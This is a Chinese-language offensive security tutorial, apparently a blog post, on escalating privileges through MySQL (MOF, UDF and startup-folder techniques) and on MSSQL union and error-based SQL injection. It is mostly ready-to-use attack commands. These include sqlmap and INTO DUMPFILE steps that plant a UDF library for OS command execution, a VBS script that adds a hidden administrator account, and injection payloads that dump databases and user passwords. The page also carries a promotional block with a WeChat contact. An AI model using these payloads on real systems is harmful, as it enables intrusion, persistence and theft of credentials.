mysql提权
MOF提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003
的环境下才可以成功。
提权的原理是C:/Windows/system32/wbem/mof/
目录下的 mof
文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof
目录的话,就可以来执行任意命令了。
经测试win7虽然存在这个文件目录,但是mysql以管理员权限运行,也会提示写入失败。
UDF提权
UDF说白了就是自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。
如果我们添加的自定义函数可以执行系统命令,那么是不是就相当于以mysql的权限去执行系统命令,如果mysql的权限比较高,是不是就可以达到一种权限提升的效果
动态链接库
构建UDF的过程,其实就是调用动态链接库的过程,因此我们首先必须知道动态链接库存放的位置,以及要有合适的动态链接库
-
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
-
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录
show variables like '%plugin%'; # 查找插件目录
select @@basedir; # 查找 mysql 安装目录
那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。
-
sqlmap 的 UDF 动态链接库文件位置
sqlmap根目录/data/udf/mysql
不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py
,解码方法如下:
# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
-
Metasploit的UDF动态链接库文件位置
/usr/share/metasploit-framework/data/exploits/mysql
-
两款工具带的动态链接库是一样的
寻找插件目录
如果不存在的话
select @@basedir; # 寻找MySQL的安装目录
然后通过webshell手动去创建
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
写入动态链接库
方法一:
当SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
方法二:
当没有注入点时,我们可以操作原生 SQL 语句,这种情况下当 secure_file_priv 无限制的时候,我们也是可以手工写文件到 plugin 目录下的:
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
这里的十六进制怎么获取呢?可以利用 MySQL 自带的 hex 函数来编码:
# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt';
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
方法三:
当webshell有一定权限时,可以直接通过文件上传的方式,上传对应的dll
文件
创建自定义函数并调用命令
-
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
-
select * from mysql.func;
验证是否添加成功
-
调用该函数,即可以mysql权限执行一些系统命令
-
删除自定义函数
drop function sys_eval;
UDF Shell
方法一:UDF.PHP
http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF
方法二:ntunnel_mysql.php
Navicat内置的php-mysq链接文件,上传到目标网站
对navicat进行如下配置即可:
方法三:蚁剑内置插件
启动项提权
windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
在windows2003的系统下,启动项路径如下:
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
在windows2008的系统下,启动项路径如下:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。
这里使用test.vbs
添加用户密码,上传到启动目录重启的时候即可自动添加账号密码
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
通过mysql的话:
use mysql;
create table test(cmd text);
insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;
重启之后可以提权
CVE-2016-6663和CVE-2016-6664
https://www.freebuf.com/articles/web/288941.html
https://lengjibo.github.io/mysqludf/
MSSQL
MSSQL基础
系统自带库
MSSQL安装后默认带了六个数据库
-
4个系统库:
master
、model
、tempdb
和msdb
; -
2个示例库:
NorthwindTraders
和pubs
系统视图表
MSSQL数据库有安装的自带数据表:
MSSQL权限控制
-
服务器角色
可以通过如下语句判断:
select is_srvrolemember('sysadmin')
-
数据库角色
可以通过如下语句判断:
select is_member('db_owner')
MSSQL常用语句
# 创建数据库
create database [dbname];
create database test;
# 删除数据库
drop database [dbname];
drop database test;
# 创建新表
create table table_name (name char(10),age tinyint,sex int);
# 创建新表前要选择数据库,默认是master库
use test;
create table admin (users char(255),passwd char(255),sex int);
# 删除新表
drop table table_name;
drop table dbo.admin;
# 向表中插入数据
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1);
# 删除内容
delete from table_name where column1=value1;
delete from admin where sex=2;
# 更新内容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2;
# 查找内容
select * from table_name where column1=value1;
select passwd from admin where users='admin';
-
排序&获取下一条数据
-
MSSQL数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据,
-
使用 <> 来排除已经显示的数据,获取下一条数据,也就是不等于的意思。
-
使用not in来排除已经显示的数据,获取下一条数据 ,后面可以跟一个集合。
-
# 使用<>获取数据
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+
# 使用not in获取数据
id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+
MSSSQL注释
单行:--空格
多行:/**/
常用函数
常见注入类型
联合查询注入
1.判断注入点及类型
?id=1' and 1=1--+
?id=1' and 1=2--+
# 那么此处是字符型注入,需要单引号闭合
2.判断字段数
?id=1' order by 3--+
?id=1' order by 4--+
3.联合查询判断回显点
?id=0' union select 1,2,3--+
4.获取当前数据库名字和版本信息
?id=0' union select 1,db_name(),@@version--+
5.获取所有的数据库名,database在较高版本的SQL Server 中已经变成了动态视图
?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name
from master.sys.databases)--+
6.获取所有的表名,当information前面没有库名时,默认查询当前数据库,与mysql不同,每个数据库都有单独的information表,可以用master.information_schema.tables 来查询不同数据库的信息
?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in
(select top 1 table_name from information_schema.tables)--+
7.获取所有的字段名,多加些限定条件方便注入
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+
?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and
column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--
8.获取users表账号密码信息
?id=0' union select top 1 1,username,password from users--+
报错注入
-
MSSQL数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入
1.判断注入点
id=1
2.判断是否为MSSQL数据库
# 返回正常为MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects)
3.判断数据库版本号
id=1 and @@version>0--+
# @@version是mssql的全局变量,@@version>0执行时转换成数字会报错,也就将数据库信息暴露出来了,必须是在where后面拼接执行
4.获取当前数据库名
and db_name()>0--+
and 1=db_name()--+
# 报错注入的原理就是将其他类型的值转换层int型失败后就会爆出原来语句执行的结果
5.判断当前服务器拥有的权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+
6.判断当前角色是否为DB_OWNER
and 1=(select is_member('db_owner'))--+
# db_owner权限可以通过备份方式向目标网站写文件
7.获取当前用户名
and user_name()>0--+
8,获取所有数据库名
and (select name from master.sys.databases where database_id=1)>0--+
# 更改database_id的值来获取所有的数据库
9.获取数据库的个数
and 1=(select quotename(count(name)) from master.sys.databases)--+
10.一次性获取所有数据库库
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+
11.获取所有的表名
# 获取当前库第一个表
and 1=(select top 1 table_name from information_schema.tables)--+
# 获取当前库第二个表
and 1=(select top 1 table_name from information_schema.tables where